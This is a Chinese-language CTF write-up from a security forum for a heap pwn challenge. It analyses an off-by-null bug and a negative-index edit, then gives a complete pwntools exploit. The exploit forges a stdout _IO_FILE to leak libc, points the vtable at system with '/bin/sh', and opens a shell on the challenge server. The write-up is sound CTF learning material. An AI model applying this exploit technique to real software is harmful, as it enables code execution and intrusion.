-
-
[原创]看雪CTF 2019Q3 第四题 卧薪尝胆
-
发表于: 2019-9-21 16:07 4153
-
该POC
实际使用中发现,利用stdout
实现任意读,当缓冲区中有数据时读出来的值不是期望的,多运行几次,缓冲区清空后就可以了
Unlink学习笔记(off-by-one null byte漏洞利用)
IO FILE 之任意读写
浅析IO_FILE结构及利用
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { int v3; // eax f_set_hook_E4C(); // 保存__malloc_hook和__free_hook puts("Welcome kctf 2019,you pwn like hsy!"); while ( 1 ) { while ( 1 ) { f_menu_DDD(); // 打印选项 v3 = f_get_char_num_C81(); if ( v3 != 2 ) break; f_delete_FC0(); // 删除 } if ( v3 > 2 ) { if ( v3 == 3 ) { f_edit_1084(); // 编辑 } else { if ( v3 == 4 ) exit(0); LABEL_13: puts("Invalid choice"); } } else { if ( v3 != 1 ) goto LABEL_13; f_add_EC3(); // 增加 } } } // 编辑函数 unsigned __int64 f_edit_1084() { int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); printf("Input idx : "); v1 = f_get_char_num_C81(); if ( !LODWORD(g_heap_arr_202080[2 * v1]) ) exit(1); printf("Input text : "); sub_D22((char *)g_heap_arr_202080[2 * v1 + 1], g_heap_arr_202080[2 * v1]); return __readfsqword(0x28u) ^ v2; } char *__fastcall sub_D22(char *a1, int a2) { char *result; // rax int i; // [rsp+1Ch] [rbp-14h] char s[8]; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); memset(s, 0, 8uLL); for ( i = 0; i < a2; ++i ) { if ( read(0, s, 1uLL) <= 0 ) exit(1); if ( s[0] == 0xA ) break; a1[i] = s[0]; } result = (char *)(unsigned int)i; if ( i == a2 ) { result = &a1[i]; *result = 0; // off by null 溢出漏洞 } return result; }
// 在pwndbg中查看_IO_FILE结构体信息 pwndbg> p *(struct _IO_FILE_plus *) stdout $1 = { file = { _flags = 0xfbad2887, _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7dd06e0<_IO_file_jumps> }
#!/usr/bin/env python # coding: utf-8 from pwn import * import os # flag{4ca9ae5d7c835994cc62d34f92ef95ce} #init context.log_level = 'debug' local=False if local: env={"LD_PRELOAD":os.path.join(os.getcwd(),"/libc-2.23.so")} p = process("./pwn", env=env) else: p = remote("154.8.174.214", 10001) raw_input("Pause~\n") offset_system = 0x0000000000045390 offset_IO_list_all = 0x00000000003C5520 #offset___libc_start_main_ret = 0x20830 #offset_dup2 = 0x00000000000f7970 #offset_read = 0x00000000000f7250 #offset_write = 0x00000000000f72b0 #offset_str_bin_sh = 0x18cd57 base_addr = 0 heap_addr = {} def new_heap(len): p.recvuntil(">>") p.sendline("1") p.recvuntil("Input size : ") p.sendline(str(len)) print 'create new heap:' , len p.recvuntil("heap ") num_str = p.recvuntil(" ", drop = True) print num_str p.recvuntil("0x") heap = p.recvuntil("\n", drop = True) print heap heap_addr[int(num_str)] = int(heap, 16) def set_heap(idx,cont): p.sendline("3") p.recvuntil("Input idx : ") p.sendline(str(idx)) p.recvuntil("Input text : ") p.send(cont) print 'set text ' , idx,',cont = ',cont def del_heap(idx): print 'del_heap ' , idx p.recvuntil(">>") p.sendline("2") p.recvuntil("Input idx : ") p.sendline(str(idx)) new_heap(0xf8) # 0: buf new_heap(0xf8) # 1: unlink target new_heap(0xf8) # 2: free target new_heap(0xf8) # 3: avoid consolidate with top chunk new_heap(0xf8) # 4: vtable print("Get All Addr:") print(heap_addr) # 前8位设成0,为了过这一句 puts+83: cmpxchg [rdx], esi payload = p64(0) + p64(0xf1) + p64(heap_addr[1]) + p64(heap_addr[1]) + '\x0a' set_heap(0, payload) # 制造 unsorted bin payload = p64(0x110) + p64(0xf1) + p64(heap_addr[0]) + p64(heap_addr[0]) + 'a' * 0xd0 + p64(0xf0) set_heap(1, payload) del_heap(2) # 泄露地址 payload = p64(0xfbad8800) payload += p64(heap_addr[0]+8) # _IO_read_ptr payload += p64(heap_addr[1]+0x10) # _IO_read_end payload += p64(heap_addr[0]+8) # _IO_read_base payload += p64(heap_addr[1]+0x10) # _IO_write_base payload += p64(heap_addr[1]+0x10+8) # _IO_write_ptr payload += p64(heap_addr[1]+0x10+8) # _IO_write_end payload += p64(heap_addr[0]+8) # _IO_buf_base = 0x602060 " `", payload += p64(heap_addr[0]+8+1) # _IO_buf_end = 0x602061 " `", set_heap(-6, payload) p.sendline('q') main_arena = u64(p.recv(8))-88 libc_base = main_arena-0x3c4b20 libc_system = libc_base+offset_system IO_list_all = libc_base+offset_IO_list_all print('main_arena: 0x%08x\nlibc_base: 0x%08x\nlibc_system: 0x%08x\nIO_list_all: 0x%08x' % (main_arena, libc_base, libc_system, IO_list_all)) raw_input("Pause~\n") # 修改回正常状态 payload = p64(0xfbad2887) payload += p64(heap_addr[0]+8) # _IO_read_ptr payload += p64(heap_addr[0]+8) # _IO_read_end payload += p64(heap_addr[0]+8) # _IO_read_base payload += p64(heap_addr[0]+8) # _IO_write_base payload += p64(heap_addr[0]+8) # _IO_write_ptr payload += p64(heap_addr[0]+8) # _IO_write_end payload += p64(heap_addr[0]+8) # _IO_buf_base = 0x602060 " `", payload += p64(heap_addr[0]+8+1) # _IO_buf_end = 0x602061 " `", set_heap(-6, payload) p.sendline('q') # p.interactive() # 制作假的 vtable payload = p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + '\x0a' # 获取成功后就没有输出了,所以要手动输出 set_heap(4, payload) #p.sendline("3") #p.sendline(str(4)) #p.send(payload) # 控制 vtable 指针 # file = { payload = '/bin/sh\x00' # _flags = 0xfbad8000, payload += p64(heap_addr[0]+8) # _IO_read_ptr = 0x602060 " `", payload += p64(heap_addr[1]+0x10) # _IO_read_end = 0x602060 " `", payload += p64(heap_addr[0]+8) # _IO_read_base = 0x602060 " `", payload += p64(heap_addr[1]) # _IO_write_base = 0x602060 " `", payload += p64(heap_addr[1]+0x10) # _IO_write_ptr = 0x602060 " `", payload += p64(heap_addr[1]+0x10+8) # _IO_write_end = 0x602060 " `", payload += p64(heap_addr[1]+0x10) # _IO_buf_base = 0x602060 " `", payload += p64(heap_addr[1]+0x10+8) # _IO_buf_end = 0x602061 " `", payload += p64(0) # _IO_save_base = 0x0, payload += p64(0) # _IO_backup_base = 0x0, payload += p64(0) # _IO_save_end = 0x0, payload += p64(0) # _markers = 0x0, payload += p64(heap_addr[0]) # _chain = 0x602060, payload += p64(1) # _fileno = 0x1, # _flags2 = 0x0, payload += p64(0xffffffffffffffff) # _old_offset = 0xffffffffffffffff, payload += p64(0) # _cur_column = 0x0, # _vtable_offset = 0x0, # _shortbuf = "", payload += p64(heap_addr[0]) # _lock = 0x602060, payload += p64(0xffffffffffffffff) # _offset = 0xffffffffffffffff, payload += p64(0) # _codecvt = 0x0, payload += p64(heap_addr[0]) # _wide_data = 0x602060, payload += p64(0) # _freeres_list = 0x0, payload += p64(0) # _freeres_buf = 0x0, payload += p64(0) # __pad5 = 0x0, payload += p64(0x0000000000000000) # _mode = 0xffffffff, # _unused2 = '\000' <repeats 19 times> payload += p64(0) # }, payload += p64(0) # payload += p64(heap_addr[4]) # vtable = 0x6021c8 set_heap(-6, payload) #p.sendline("3") #p.sendline(str(-6)) #p.send(payload) raw_input("Success, press Enter~\n") p.interactive() p.close()
该
POC
实际使用中发现,利用stdout
实现任意读,当缓冲区中有数据时读出来的值不是期望的,多运行几次,缓冲区清空后就可以了
- 设置_flag &~ _IO_NO_WRITES即_flag &~ 0x8。
- 设置_flag & _IO_CURRENTLY_PUTTING即_flag | 0x800
- 设置_fileno为1
- 设置_IO_write_base指向想要泄露的地方;_IO_write_ptr指向泄露结束的地址
- 设置_IO_read_end等于_IO_write_base或设置_flag & _IO_IS_APPENDING即_flag | 0x1000
- 设置_IO_write_end等于_IO_write_ptr(非必须)
-
/bin/sh
的内存数据恰好能通过对flag
数据的验证 -
_lock
指向的内存,前8
字节必须为0
,不然无法通过puts+83: cmpxchg [rdx], esi
这句的验证,导致进入死锁状态
- 保护全开
- 功能为内存增加、删除、编辑
- 没有打印内存的函数,但是增加会主动打印
malloc
的地址 - 创建的内存块最大
1023
字节,按照8字节大小、8字节地址的格式保存在全局数据区,编辑与删除时没有检查输入为负数的情况 - 编辑操作中存在一个字节
0
的溢出,属于off by null
溢出漏洞 -
main
函数中的第一个函数是hook
并保存__malloc_hook
和__free_hook
,在调用是恢复。在这里发现__malloc_hook
和__free_hook
是存在于主模块中的,但是由于随机基址无法泄露,所以可以算作作者提示无法使用修改__free_hook
的方式劫持流程 - 保存堆数据的全局数据区
-
off by null
溢出漏洞可以修改下一个堆头中数据中的前一个块是否使用,从而可以制造假的堆块来触发Unlink
操作创建一个unsorted bin
。 - 因为在最初创建的时候打印了对地址,因此可以知道创建的
unsorted bin
的地址,而unsorted bin
堆块数据中会保存main_arena
(libc
中的一个地址,由此可以算出libc的基址) - 有了信息,现在要泄露出来,因为没有打印操作,所以只能把目光集中在编辑是没有检查负数的情况
- 观察上图,按照8字节大小、8字节地址的方式,编辑时向前溢出
-6
个,刚好可以修改stdout
指向的内存,也就是_IO_FILE
攻击了,控制stdout
指向一个_IO_FILE
结构的数据,修改其中指针,便可达到任意内存泄露的目的; -
_IO_FILE
结构体中保存了一张虚表,puts
函数会调用这张虚表中的函数,并且会把stdout
的指针作为参数传给虚函数;恰好程序很多处都调用puts
函数,于是可以把虚表内容劫持到system
函数,把stdout
指向的数据前面写上\bin\sh
// 在pwndbg中查看_IO_FILE结构体信息 pwndbg> p *(struct _IO_FILE_plus *) stdout $1 = { file = { _flags = 0xfbad2887, _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7dd06e0<_IO_file_jumps> }
malloc
的地址1023
字节,按照8字节大小、8字节地址的格式保存在全局数据区,编辑与删除时没有检查输入为负数的情况0
的溢出,属于off by null
溢出漏洞[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2019-9-21 17:25
被KevinsBobo编辑
,原因:
赞赏
他的文章
- [分享]教你签到获得更多的雪币 9957
- [原创]看雪CTF 2019总决赛 第六题 三道八佛 6008
- [原创]看雪CTF 2019总决赛 第二题 南充茶坊 6598
谁下载
无
谁下载
无
看原图
赞赏
雪币:
留言: